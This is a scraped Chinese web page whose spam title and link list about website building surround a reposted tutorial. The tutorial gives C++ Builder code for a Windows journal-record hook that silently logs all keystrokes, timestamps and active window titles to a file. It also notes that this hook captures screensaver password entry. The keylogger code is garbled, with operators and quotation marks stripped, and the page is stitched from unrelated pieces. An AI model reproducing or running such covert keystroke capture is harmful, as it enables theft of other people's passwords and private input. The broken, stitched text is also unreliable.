当前位置: 首页 > news >正文

汽车集团网站建设如何在网站做引流

汽车集团网站建设,如何在网站做引流,南昌师范学院网站建设的意义和目的,门户网站建设与推广方案-- 钩子是WINDOWS中消息处理机制的一个要点#xff0c;通过安装各种钩子#xff0c;应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多#xff0c;每种钩子可以截获并处理相应的消息#xff0c;如键盘钩子可…-- 钩子是WINDOWS中消息处理机制的一个要点通过安装各种钩子应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多每种钩子可以截获并处理相应的消息如键盘钩子可以截获键盘消息鼠标钩子可以截获鼠标消息外壳钩子可以截获启动和关闭应用程序的消息日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子线程专用钩子只监视指定的线程要监视系统中的所有线程必须用到全局钩子。对于全局钩子钩子函数必须包含在独立的动态链接库(DLL)中这样才能被各种相关联的应用程序调用。在WINDOWS中日志钩子是个很特别的钩子它只有全局钩子一种是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的而且系统中只能存在一个这样的日志钩子更重要是它不必用在动态链接库中这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子我们可以监视各种输入事件下面的示例可以用来记录键盘的输入当有按键发生时自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98Borland C Builder4中编译通过。 ---- 1新建一个工程在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别 为“安装日志钩子”和“卸载日志钩子”。 ---- 2 定义如下全局变量 HHOOK g_hLogHookNULL; //钩子变量 HWND g_hLastFocusNULL; //记录上一次得到焦点的窗口句柄 const int KeyPressMask0x80000000; //键盘掩码常量 char g_PrvChar; //保存上一次按键值3在Button1的OnClick事件中输入void __fastcall TForm1::Button1Click(TObject *Sender){if (g_hLogHookNULL)g_hLogHook SetWindowsHookEx (WH_JOURNALRECORD,(HOOKPROC)JournalLogProc, HInstance,0); //安装日志钩子}4在Button2的OnClick事件中输入void __fastcall TForm1::Button2Click(TObject *Sender) {if (g_hLogHook!NULL){UnhookWindowsHookEx(g_hLogHook);g_hLogHookNULL;} //卸载日志钩子 }5输入钩子回调函数 HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) {if (iCode0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCodeHC_ACTION) {EVENTMSG *pEvt(EVENTMSG *)lParam; int i; HWND hFocus; //保存当前活动窗口句柄 char szTitle[256]; //当前窗口名称 char szTime[128]; //保存当前的日期和时间 FILE *streamfopen(“c:\\logfile.txt”,at); if (pEvt-messageWM_KEYDOWN) {int vKeyLOBYTE(pEvt- paramL); // 取得虚拟键值char ch;char str[10];hFocusGetActiveWindow(); //取得当前活动窗口句柄if(g_hLastFocus!hFocus) //当前活动窗口是否改变{GetWindowText(hFocus,szTitle,256);g_hLastFocushFocus;strcpy(szTime,DateTimeToStr(Now()) .c_str()); //得到当前的日期时间fprintf(stream,%c%s%c%c%s, 10,szTime,32,32,szTitle); //写入文件fprintf(stream,%c%c,32,32); }int iShiftGetKeyState(0x10); //测试SHIFT,CAPTION,NUMLOCK等键是否按下int iCapitalGetKeyState(0x14);int iNumLockGetKeyState(0x90);bool bShift(iShift KeyPressMask)KeyPressMask; bool bCapital(iCapital 1)1;bool bNumLock(iNumLock 1)1;if (vKey 48 vKey57) // 数字0-9 if (!bShift) fprintf(stream,%c,vKey); if (vKey65 vKey90) // A-Z a-z {if (!bCapital) if (bShift) chvKey; else chvKey32; else if (bShift) chvKey32; else chvKey; fprintf(stream,%c,ch); } if (vKey96 vKey105) // 小键盘0-9 if (bNumLock) fprintf(stream,%c,vKey-9648); if (vKey186 vKey222) // 其他键 {switch (vKey) {case 186:if (!bShift) ch; ; else ch: ;break; case 187:if (!bShift) ch ; else ch ;break; case 188:if (!bShift) ch, ; else ch ;break; case 189:if (!bShift) ch- ; else ch_ ;break; case 190:if (!bShift) ch. ; else ch ;break; case 191:if (!bShift) ch/ ; else ch? ;break; case 192:if (!bShift) ch ; else ch~ ;break; case 219:if (!bShift) ch[ ; else ch{ ;break; case 220:if (!bShift) ch\\ ; else ch| ;break; case 221:if (!bShift) ch] ; else ch} ;break; case 222:if (!bShift) ch\ ; else ch\ ;break; default:chn ;break; } if (ch!n ) fprintf(stream,%c,ch); } // if (wParam112 wParam123) // 功能键 [F1]-[F12] if (vKey8 vKey46) //方向键 {switch (vKey) {case 8:strcpy(str,[BK]);break; case 9:strcpy(str,[TAB]);break; case 13:strcpy(str,[EN]);break; case 32:strcpy(str,[SP]);break; case 33:strcpy(str,[PU]);break; case 34:strcpy(str,[PD]);break; case 35:strcpy(str,[END]);break; case 36:strcpy(str,[HOME]);break; case 37:strcpy(str,[LF]);break; case 38:strcpy(str,[UF]);break; case 39:strcpy(str,[RF]);break; case 40:strcpy(str,[DF]);break; case 45:strcpy(str,[INS]);break; case 46:strcpy(str,[DEL]);break; default:chn ;break; } if (ch!n ) {if (g_PrvChar!vKey) {fprintf(stream,%s,str); g_PrvCharvKey; } } } } if (pEvt-messageWM_LBUTTONDOWN || pEvt- message WM_RBUTTONDOWN){hFocusGetActiveWindow();if (g_hLastFocus!hFocus){g_hLastFocushFocus;GetWindowText(hFocus,szTitle,256); strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间fprintf(stream,%c%s%c%c%s, 10,szTime,32,32,szTitle); //写入文件fprintf(stream,%c%c,32,32); }}fclose(stream);return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); }---- 将工程编译执行后每当激活一个窗口时就会把当前窗口名称写入文件c:\logfile.txt中当有按键时按键的名称也会写入此文件中这里的并没有处理全部的按键读者可根据需要添加相应的语句。要捕捉键盘的按键动作用键盘钩子(Keyboard Hook)也同样可以实现但是用日志钩子却比键盘钩子要方便许多。首先如果要捕捉其他应用程序的按键即做成全局钩子键盘钩子一定要单独放在动态链接库中而日志钩子却不必其次在键盘钩子函数得到的键盘按键之前系统已经处理过这些输入了如果系统把这些按键屏蔽掉键盘钩子就无法检测到它们例如当输入屏幕保护程序密码时键盘钩子无法检测到用户输入了那些字符而日志钩子却可以检测到。 ---- 无论是哪种钩子 都会增加系统处理消息的时间从而降低系统的性能我们只有在必要的时候才安装这些钩子而且尽可能在不需要时移走它们。 转载于:https://www.cnblogs.com/henryzc/archive/2005/10/27/262990.html
http://www.yutouwan.com/news/45328/

相关文章:

  • 精品网站建设费用 地址磐石网络discuz和WordPress哪个更好
  • 在青岛做阿里巴巴网站找谁哪里可以做游戏视频网站
  • 企业网站推广的方式有哪些WordPress苏醒模板免费
  • 网站seo注意事项创意网站建设设计公司
  • 商务网站建设的六个步骤网站建设既有书籍又有光盘
  • 邮轮哪个网站是可以做特价胃肠的wordpress 安全漏洞
  • 网站内容优化网站大图片优化
  • 买app的网站建设枣庄建设工程管理局网站
  • 在网站做推广属于广告费吗wordpress迁移空间后无法显示图片
  • 苏州企业网站建设公司价格网站备案需要去哪里
  • 温州建设银行支行网站上海专业网站建站品
  • 网站建设教程免费夕滋湖南岚鸿官网linux下可以用wordpress
  • 网站建设过程规划和准备阶段网络营销方法有哪几种
  • 大学生个人网站怎么做那些网站做的非常好看
  • 域名 不做网站泉州免费建站模板
  • 网站建设管理规定门户网站建设调查问卷
  • 比较容易做的网站暖暖 视频 在线 观看 高清
  • 适合在线做笔试的网站网站备案密码收不到
  • 温州哪里可以做企业网站网站如果直接点击拨打电话
  • 竞价网站单页怎么样做电影网站
  • 企业网站建设方案 wordphp美食网站开发背景
  • phpstudy 网站空白北滘大良网站制作
  • 做第一个php网站深圳电器公司是国企吗
  • ppt模板免费下载网站哪个好徐州公司网站制作
  • 深圳网站seo 乐云践新贵州新闻
  • 用js做的网站代码吗做网站流程 优帮云
  • 红包打赏的网站怎么做网站建设SEO优化哪家好
  • 锦州网站建设更好网站怎么接入百度地图
  • 网站建设捌金手指下拉十四网站建设的规划和流程
  • 039 织梦云idc网站源码百度怎么做自己的网站